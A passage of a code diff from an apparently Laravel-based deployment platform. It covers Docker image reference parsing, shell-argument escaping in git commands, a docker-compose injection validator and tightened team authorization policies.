if (! empty($this->imageTag) || ! empty($this->imageSha256)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Only auto-parse if the image name contains a tag (:) or digest (@)
|
||||
if (! str_contains($this->imageName, ':') && ! str_contains($this->imageName, '@')) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$parser = new DockerImageParser;
|
||||
$parser->parse($this->imageName);
|
||||
|
||||
// Extract the base image name (without tag/digest)
|
||||
$baseImageName = $parser->getFullImageNameWithoutTag();
|
||||
|
||||
// Only update if parsing resulted in different base name
|
||||
// This prevents unnecessary updates when user types just the name
|
||||
if ($baseImageName !== $this->imageName) {
|
||||
if ($parser->isImageHash()) {
|
||||
// It's a SHA256 digest (takes priority over tag)
|
||||
$this->imageSha256 = $parser->getTag();
|
||||
$this->imageTag = '';
|
||||
} elseif ($parser->getTag() !== 'latest' || str_contains($this->imageName, ':')) {
|
||||
// It's a regular tag (only set if not default 'latest' or explicitly specified)
|
||||
$this->imageTag = $parser->getTag();
|
||||
$this->imageSha256 = '';
|
||||
}
|
||||
|
||||
// Update imageName to just the base name
|
||||
$this->imageName = $baseImageName;
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
// If parsing fails, leave the image name as-is
|
||||
// User will see validation error on submit
|
||||
}
|
||||
}
|
||||
|
||||
public function submit()
|
||||
{
|
||||
// Strip 'sha256:' prefix if user pasted it
|
||||
if ($this->imageSha256) {
|
||||
$this->imageSha256 = preg_replace('/^sha256:/i', '', trim($this->imageSha256));
|
||||
}
|
||||
|
||||
// Remove @sha256 from image name if user added it
|
||||
if ($this->imageName) {
|
||||
$this->imageName = preg_replace('/@sha256$/i', '', trim($this->imageName));
|
||||
}
|
||||
|
||||
$this->validate([
|
||||
'imageName' => ['required', 'string'],
|
||||
'imageTag' => ['nullable', 'string', 'regex:/^[a-z0-9][a-z0-9._-]*$/i'],
|
||||
|
|
@ -56,13 +98,16 @@ public function submit()
|
|||
|
||||
// Build the full Docker image string
|
||||
if ($this->imageSha256) {
|
||||
$dockerImage = $this->imageName.'@sha256:'.$this->imageSha256;
|
||||
// Strip 'sha256:' prefix if user pasted it
|
||||
$sha256Hash = preg_replace('/^sha256:/i', '', trim($this->imageSha256));
|
||||
$dockerImage = $this->imageName.'@sha256:'.$sha256Hash;
|
||||
} elseif ($this->imageTag) {
|
||||
$dockerImage = $this->imageName.':'.$this->imageTag;
|
||||
} else {
|
||||
$dockerImage = $this->imageName.':latest';
|
||||
}
|
||||
|
||||
// Parse using DockerImageParser to normalize the image reference
|
||||
$parser = new DockerImageParser;
|
||||
$parser->parse($dockerImage);
|
||||
|
||||
|
|
@ -79,15 +124,15 @@ public function submit()
|
|||
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
|
||||
|
||||
// Determine the image tag based on whether it's a hash or regular tag
|
||||
$imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag();
|
||||
|
||||
// Append @sha256 to image name if using digest and not already present
|
||||
$imageName = $parser->getFullImageNameWithoutTag();
|
||||
if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) {
|
||||
$imageName .= '@sha256';
|
||||
}
|
||||
|
||||
// Determine the image tag based on whether it's a hash or regular tag
|
||||
$imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag();
|
||||
|
||||
$application = Application::create([
|
||||
'name' => 'docker-image-'.new Cuid2,
|
||||
'repository_project_id' => 0,
|
||||
|
|
@ -96,7 +141,7 @@ public function submit()
|
|||
'build_pack' => 'dockerimage',
|
||||
'ports_exposes' => 80,
|
||||
'docker_registry_image_name' => $imageName,
|
||||
'docker_registry_image_tag' => $parser->getTag(),
|
||||
'docker_registry_image_tag' => $imageTag,
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination_class,
|
||||
|
|
|
|||
|
|
@ -33,6 +33,8 @@ public function getListeners()
|
|||
|
||||
return [
|
||||
"echo-private:team.{$teamId},ServiceChecked" => 'serviceChecked',
|
||||
'refreshServices' => 'refreshServices',
|
||||
'refresh' => 'refreshServices',
|
||||
];
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -88,6 +88,7 @@ public function submit()
|
|||
}
|
||||
$this->application->service->parse();
|
||||
$this->dispatch('refresh');
|
||||
$this->dispatch('refreshServices');
|
||||
$this->dispatch('configurationChanged');
|
||||
} catch (\Throwable $e) {
|
||||
$originalFqdn = $this->application->getOriginal('fqdn');
|
||||
|
|
|
|||
|
|
@ -139,6 +139,10 @@ public function submit($notify = true)
|
|||
try {
|
||||
$this->validate();
|
||||
$this->syncData(true);
|
||||
|
||||
// Validate for command injection BEFORE saving to database
|
||||
validateDockerComposeForInjection($this->service->docker_compose_raw);
|
||||
|
||||
$this->service->save();
|
||||
$this->service->saveExtraFields($this->fields);
|
||||
$this->service->parse();
|
||||
|
|
|
|||
|
|
@ -290,6 +290,23 @@ private function loadHetznerData(string $token)
|
|||
}
|
||||
}
|
||||
|
||||
private function getCpuVendorInfo(array $serverType): ?string
|
||||
{
|
||||
$name = strtolower($serverType['name'] ?? '');
|
||||
|
||||
if (str_starts_with($name, 'ccx')) {
|
||||
return 'AMD Milan EPYC™';
|
||||
} elseif (str_starts_with($name, 'cpx')) {
|
||||
return 'AMD EPYC™';
|
||||
} elseif (str_starts_with($name, 'cx')) {
|
||||
return 'Intel® Xeon®';
|
||||
} elseif (str_starts_with($name, 'cax')) {
|
||||
return 'Ampere® Altra®';
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function getAvailableServerTypesProperty()
|
||||
{
|
||||
ray('Getting available server types', [
|
||||
|
|
@ -311,6 +328,11 @@ public function getAvailableServerTypesProperty()
|
|||
|
||||
return in_array($this->selected_location, $locationNames);
|
||||
})
|
||||
->map(function ($serverType) {
|
||||
$serverType['cpu_vendor_info'] = $this->getCpuVendorInfo($serverType);
|
||||
|
||||
return $serverType;
|
||||
})
|
||||
->values()
|
||||
->toArray();
|
||||
|
||||
|
|
|
|||
|
|
@ -45,9 +45,16 @@ private function generateInviteLink(bool $sendEmail = false)
|
|||
try {
|
||||
$this->authorize('manageInvitations', currentTeam());
|
||||
$this->validate();
|
||||
if (auth()->user()->role() === 'admin' && $this->role === 'owner') {
|
||||
|
||||
// Prevent privilege escalation: users cannot invite someone with higher privileges
|
||||
$userRole = auth()->user()->role();
|
||||
if ($userRole === 'member' && in_array($this->role, ['admin', 'owner'])) {
|
||||
throw new \Exception('Members cannot invite admins or owners.');
|
||||
}
|
||||
if ($userRole === 'admin' && $this->role === 'owner') {
|
||||
throw new \Exception('Admins cannot invite owners.');
|
||||
}
|
||||
|
||||
$this->email = strtolower($this->email);
|
||||
|
||||
$member_emails = currentTeam()->members()->get()->pluck('email');
|
||||
|
|
|
|||
|
|
@ -1003,29 +1003,30 @@ public function dirOnServer()
|
|||
public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false)
|
||||
{
|
||||
$baseDir = $this->generateBaseDir($deployment_uuid);
|
||||
$escapedBaseDir = escapeshellarg($baseDir);
|
||||
$isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false;
|
||||
|
||||
if ($this->git_commit_sha !== 'HEAD') {
|
||||
// If shallow clone is enabled and we need a specific commit,
|
||||
// we need to fetch that specific commit with depth=1
|
||||
if ($isShallowCloneEnabled) {
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1";
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1";
|
||||
} else {
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1";
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1";
|
||||
}
|
||||
}
|
||||
if ($this->settings->is_git_submodules_enabled) {
|
||||
// Check if .gitmodules file exists before running submodule commands
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && if [ -f .gitmodules ]; then";
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && if [ -f .gitmodules ]; then";
|
||||
if ($public) {
|
||||
$git_clone_command = "{$git_clone_command} sed -i \"s#git@\(.*\):#https://\\1/#g\" {$baseDir}/.gitmodules || true &&";
|
||||
$git_clone_command = "{$git_clone_command} sed -i \"s#git@\(.*\):#https://\\1/#g\" {$escapedBaseDir}/.gitmodules || true &&";
|
||||
}
|
||||
// Add shallow submodules flag if shallow clone is enabled
|
||||
$submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : '';
|
||||
$git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi";
|
||||
}
|
||||
if ($this->settings->is_git_lfs_enabled) {
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull";
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull";
|
||||
}
|
||||
|
||||
return $git_clone_command;
|
||||
|
|
@ -1063,18 +1064,24 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
|
|||
$source_html_url_scheme = $url['scheme'];
|
||||
|
||||
if ($this->source->getMorphClass() == 'App\Models\GithubApp') {
|
||||
$escapedCustomRepository = escapeshellarg($customRepository);
|
||||
if ($this->source->is_public) {
|
||||
$escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}");
|
||||
$fullRepoUrl = "{$this->source->html_url}/{$customRepository}";
|
||||
$base_command = "{$base_command} {$this->source->html_url}/{$customRepository}";
|
||||
$base_command = "{$base_command} {$escapedRepoUrl}";
|
||||
} else {
|
||||
$github_access_token = generateGithubInstallationToken($this->source);
|
||||
|
||||
if ($exec_in_docker) {
|
||||
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
|
||||
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
|
||||
$repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git";
|
||||
$escapedRepoUrl = escapeshellarg($repoUrl);
|
||||
$base_command = "{$base_command} {$escapedRepoUrl}";
|
||||
$fullRepoUrl = $repoUrl;
|
||||
} else {
|
||||
$base_command = "{$base_command} $source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
|
||||
$fullRepoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
|
||||
$repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}";
|
||||
$escapedRepoUrl = escapeshellarg($repoUrl);
|
||||
$base_command = "{$base_command} {$escapedRepoUrl}";
|
||||
$fullRepoUrl = $repoUrl;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -1099,7 +1106,10 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
|
|||
throw new RuntimeException('Private key not found. Please add a private key to the application and try again.');
|
||||
}
|
||||
$private_key = base64_encode($private_key);
|
||||
$base_comamnd = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} {$customRepository}";
|
||||
// When used with executeInDocker (which uses bash -c '...'), we need to escape for bash context
|
||||
// Replace ' with '\'' to safely escape within single-quoted bash strings
|
||||
$escapedCustomRepository = str_replace("'", "'\\''", $customRepository);
|
||||
$base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'";
|
||||
|
||||
if ($exec_in_docker) {
|
||||
$commands = collect([
|
||||
|
|
@ -1116,9 +1126,9 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
|
|||
}
|
||||
|
||||
if ($exec_in_docker) {
|
||||
$commands->push(executeInDocker($deployment_uuid, $base_comamnd));
|
||||
$commands->push(executeInDocker($deployment_uuid, $base_command));
|
||||
} else {
|
||||
$commands->push($base_comamnd);
|
||||
$commands->push($base_command);
|
||||
}
|
||||
|
||||
return [
|
||||
|
|
@ -1130,7 +1140,8 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_
|
|||
|
||||
if ($this->deploymentType() === 'other') {
|
||||
$fullRepoUrl = $customRepository;
|
||||
$base_command = "{$base_command} {$customRepository}";
|
||||
$escapedCustomRepository = escapeshellarg($customRepository);
|
||||
$base_command = "{$base_command} {$escapedCustomRepository}";
|
||||
|
||||
if ($exec_in_docker) {
|
||||
$commands->push(executeInDocker($deployment_uuid, $base_command));
|
||||
|
|
@ -1272,7 +1283,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req
|
|||
} else {
|
||||
$commands->push("echo 'Checking out $branch'");
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
} elseif ($git_type === 'github' || $git_type === 'gitea') {
|
||||
$branch = "pull/{$pull_request_id}/head:$pr_branch_name";
|
||||
if ($exec_in_docker) {
|
||||
|
|
@ -1280,14 +1291,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req
|
|||
} else {
|
||||
$commands->push("echo 'Checking out $branch'");
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
} elseif ($git_type === 'bitbucket') {
|
||||
if ($exec_in_docker) {
|
||||
$commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'"));
|
||||
} else {
|
||||
$commands->push("echo 'Checking out $branch'");
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -1305,7 +1316,8 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req
|
|||
}
|
||||
if ($this->deploymentType() === 'other') {
|
||||
$fullRepoUrl = $customRepository;
|
||||
$git_clone_command = "{$git_clone_command} {$customRepository} {$baseDir}";
|
||||
$escapedCustomRepository = escapeshellarg($customRepository);
|
||||
$git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}";
|
||||
$git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true);
|
||||
|
||||
if ($pull_request_id !== 0) {
|
||||
|
|
@ -1316,7 +1328,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req
|
|||
} else {
|
||||
$commands->push("echo 'Checking out $branch'");
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
} elseif ($git_type === 'github' || $git_type === 'gitea') {
|
||||
$branch = "pull/{$pull_request_id}/head:$pr_branch_name";
|
||||
if ($exec_in_docker) {
|
||||
|
|
@ -1324,14 +1336,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req
|
|||
} else {
|
||||
$commands->push("echo 'Checking out $branch'");
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name);
|
||||
} elseif ($git_type === 'bitbucket') {
|
||||
if ($exec_in_docker) {
|
||||
$commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'"));
|
||||
} else {
|
||||
$commands->push("echo 'Checking out $branch'");
|
||||
}
|
||||
$git_clone_command = "{$git_clone_command} && cd {$baseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit);
|
||||
$git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -35,13 +35,18 @@ class InstanceSettings extends Model
|
|||
protected static function booted(): void
|
||||
{
|
||||
static::updated(function ($settings) {
|
||||
if ($settings->isDirty('helper_version')) {
|
||||
if ($settings->wasChanged('helper_version')) {
|
||||
Server::chunkById(100, function ($servers) {
|
||||
foreach ($servers as $server) {
|
||||
PullHelperImageJob::dispatch($server);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Clear trusted hosts cache when FQDN changes
|
||||
if ($settings->wasChanged('fqdn')) {
|
||||
\Cache::forget('instance_settings_fqdn_host');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -79,11 +79,11 @@ protected static function booted()
|
|||
});
|
||||
static::updated(function ($settings) {
|
||||
if (
|
||||
$settings->isDirty('sentinel_token') ||
|
||||
$settings->isDirty('sentinel_custom_url') ||
|
||||
$settings->isDirty('sentinel_metrics_refresh_rate_seconds') ||
|
||||
$settings->isDirty('sentinel_metrics_history_days') ||
|
||||
$settings->isDirty('sentinel_push_interval_seconds')
|
||||
$settings->wasChanged('sentinel_token') ||
|
||||
$settings->wasChanged('sentinel_custom_url') ||
|
||||
$settings->wasChanged('sentinel_metrics_refresh_rate_seconds') ||
|
||||
$settings->wasChanged('sentinel_metrics_history_days') ||
|
||||
$settings->wasChanged('sentinel_push_interval_seconds')
|
||||
) {
|
||||
$settings->server->restartSentinel();
|
||||
}
|
||||
|
|
|
|||
|
|
@ -42,8 +42,7 @@ public function update(User $user, Team $team): bool
|
|||
return false;
|
||||
}
|
||||
|
||||
// return $user->isAdmin() || $user->isOwner();
|
||||
return true;
|
||||
return $user->isAdmin() || $user->isOwner();
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -56,8 +55,7 @@ public function delete(User $user, Team $team): bool
|
|||
return false;
|
||||
}
|
||||
|
||||
// return $user->isAdmin() || $user->isOwner();
|
||||
return true;
|
||||
return $user->isAdmin() || $user->isOwner();
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -70,8 +68,7 @@ public function manageMembers(User $user, Team $team): bool
|
|||
return false;
|
||||
}
|
||||
|
||||
// return $user->isAdmin() || $user->isOwner();
|
||||
return true;
|
||||
return $user->isAdmin() || $user->isOwner();
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -84,8 +81,7 @@ public function viewAdmin(User $user, Team $team): bool
|
|||
return false;
|
||||
}
|
||||
|
||||
// return $user->isAdmin() || $user->isOwner();
|
||||
return true;
|
||||
return $user->isAdmin() || $user->isOwner();
|
||||
}
|
||||
|
||||
/**
|
||||
|
|
@ -98,7 +94,6 @@ public function manageInvitations(User $user, Team $team): bool
|
|||
return false;
|
||||
}
|
||||
|
||||
// return $user->isAdmin() || $user->isOwner();
|
||||
return true;
|
||||
return $user->isAdmin() || $user->isOwner();
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -26,7 +26,7 @@ protected static function bootDeletesUserSessions()
|
|||
{
|
||||
static::updated(function ($user) {
|
||||
// Check if password was changed
|
||||
if ($user->isDirty('password')) {
|
||||
if ($user->wasChanged('password')) {
|
||||
$user->deleteAllSessions();
|
||||
}
|
||||
});
|
||||
|
|
|
|||
|
|
@ -31,6 +31,7 @@ public function __construct(
|
|||
public bool $readonly = false,
|
||||
public bool $allowTab = false,
|
||||
public bool $spellcheck = false,
|
||||
public bool $autofocus = false,
|
||||
public ?string $helper = null,
|
||||
public bool $realtimeValidation = false,
|
||||
public bool $allowToPeak = true,
|
||||
|
|
|
|||
|
|
@ -378,6 +378,16 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_
|
|||
|
||||
if ($serviceLabels) {
|
||||
$middlewares_from_labels = $serviceLabels->map(function ($item) {
|
||||
// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)
|
||||
if (is_array($item)) {
|
||||
// Convert array to string format "key=value"
|
||||
$key = collect($item)->keys()->first();
|
||||
$value = collect($item)->values()->first();
|
||||
$item = "$key=$value";
|
||||
}
|
||||
if (! is_string($item)) {
|
||||
return null;
|
||||
}
|
||||
if (preg_match('/traefik\.http\.middlewares\.(.*?)(\.|$)/', $item, $matches)) {
|
||||
return $matches[1];
|
||||
}
|
||||
|
|
@ -1120,6 +1130,76 @@ function escapeDollarSign($value)
|
|||
return str_replace($search, $replace, $value);
|
||||
}
|
||||
|
||||
/**
|
||||
* Escape a value for use in a bash .env file that will be sourced with 'source' command
|
||||
* Wraps the value in single quotes and escapes any single quotes within the value
|
||||
*
|
||||
* @param string|null $value The value to escape
|
||||
* @return string The escaped value wrapped in single quotes
|
||||
*/
|
||||
function escapeBashEnvValue(?string $value): string
|
||||
{
|
||||
// Handle null or empty values
|
||||
if ($value === null || $value === '') {
|
||||
return "''";
|
||||
}
|
||||
|
||||
// Replace single quotes with '\'' (end quote, escaped quote, start quote)
|
||||
// This is the standard way to escape single quotes in bash single-quoted strings
|
||||
$escaped = str_replace("'", "'\\''", $value);
|
||||
|
||||
// Wrap in single quotes
|
||||
return "'{$escaped}'";
|
||||
}
|
||||
|
||||
/**
|
||||
* Escape a value for bash double-quoted strings (allows $VAR expansion)
|
||||
*
|
||||
* This function wraps values in double quotes while escaping special characters,
|
||||
* but preserves valid bash variable references like $VAR and ${VAR}.
|
||||
*
|
||||
* @param string|null $value The value to escape
|
||||
* @return string The escaped value wrapped in double quotes
|
||||
*/
|
||||
function escapeBashDoubleQuoted(?string $value): string
|
||||
{
|
||||
// Handle null or empty values
|
||||
if ($value === null || $value === '') {
|
||||
return '""';
|
||||
}
|
||||
|
||||
// Step 1: Escape backslashes first (must be done before other escaping)
|
||||
$escaped = str_replace('\\', '\\\\', $value);
|
||||
|
||||
// Step 2: Escape double quotes
|
||||
$escaped = str_replace('"', '\\"', $escaped);
|
||||
|
||||
// Step 3: Escape backticks (command substitution)
|
||||
$escaped = str_replace('`', '\\`', $escaped);
|
||||
|
||||
// Step 4: Escape invalid $ patterns while preserving valid variable references
|
||||
// Valid patterns to keep:
|
||||
// - $VAR_NAME (alphanumeric + underscore, starting with letter or _)
|
||||
// - ${VAR_NAME} (brace expansion)
|
||||
// - $0-$9 (positional parameters)
|
||||
// Invalid patterns to escape: $&, $#, $$, $*, $@, $!, $(, etc.
|
||||
|
||||
// Match $ followed by anything that's NOT a valid variable start
|
||||
// Valid variable starts: letter, underscore, digit (for $0-$9), or open brace
|
||||
$escaped = preg_replace(
|
||||
'/\$(?![a-zA-Z_0-9{])/',
|
||||
'\\\$',
|
||||
$escaped
|
||||
);
|
||||
|
||||
// Preserve pre-escaped dollars inside double quotes: turn \\$ back into \$
|
||||
// (keeps tests like "path\\to\\file" intact while restoring \$ semantics)
|
||||
$escaped = preg_replace('/\\\\(?=\$)/', '\\\\', $escaped);
|
||||
|
||||
// Wrap in double quotes
|
||||
return "\"{$escaped}\"";
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate Docker build arguments from environment variables collection
|
||||
* Returns only keys (no values) since values are sourced from environment via export
|
||||
|
|
|
|||
|
|
@ -16,6 +16,101 @@
|
|||
use Symfony\Component\Yaml\Yaml;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
/**
|
||||
* Validates a Docker Compose YAML string for command injection vulnerabilities.
|
||||
* This should be called BEFORE saving to database to prevent malicious data from being stored.
|
||||
*
|
||||
* @param string $composeYaml The raw Docker Compose YAML content
|
||||
*
|
||||
* @throws \Exception If the compose file contains command injection attempts
|
||||
*/
|
||||
function validateDockerComposeForInjection(string $composeYaml): void
|
||||
{
|
||||
try {
|
||||
$parsed = Yaml::parse($composeYaml);
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e);
|
||||
}
|
||||
|
||||
if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) {
|
||||
throw new \Exception('Docker Compose file must contain a "services" section');
|
||||
}
|
||||
// Validate service names
|
||||
foreach ($parsed['services'] as $serviceName => $serviceConfig) {
|
||||
try {
|
||||
validateShellSafePath($serviceName, 'service name');
|
||||
} catch (\Exception $e) {
|
||||
throw new \Exception(
|
||||
'Invalid Docker Compose service name: '.$e->getMessage().
|
||||
' Service names must not contain shell metacharacters.',
|
||||
0,
|
||||
$e
|
||||
);
|
||||
}
|
||||
|
||||
// Validate volumes in this service (both string and array formats)
|
||||
if (isset($serviceConfig['volumes']) && is_array($serviceConfig['volumes'])) {
|
||||
foreach ($serviceConfig['volumes'] as $volume) {
|
||||
if (is_string($volume)) {
|
||||
// String format: "source:target" or "source:target:mode"
|
||||
validateVolumeStringForInjection($volume);
|
||||
} elseif (is_array($volume)) {
|
||||
// Array format: {type: bind, source: ..., target: ...}
|
||||
if (isset($volume['source'])) {
|
||||
$source = $volume['source'];
|
||||
if (is_string($source)) {
|
||||
// Allow simple env vars and env vars with defaults (validated in parseDockerVolumeString)
|
||||
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
|
||||
$isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $source);
|
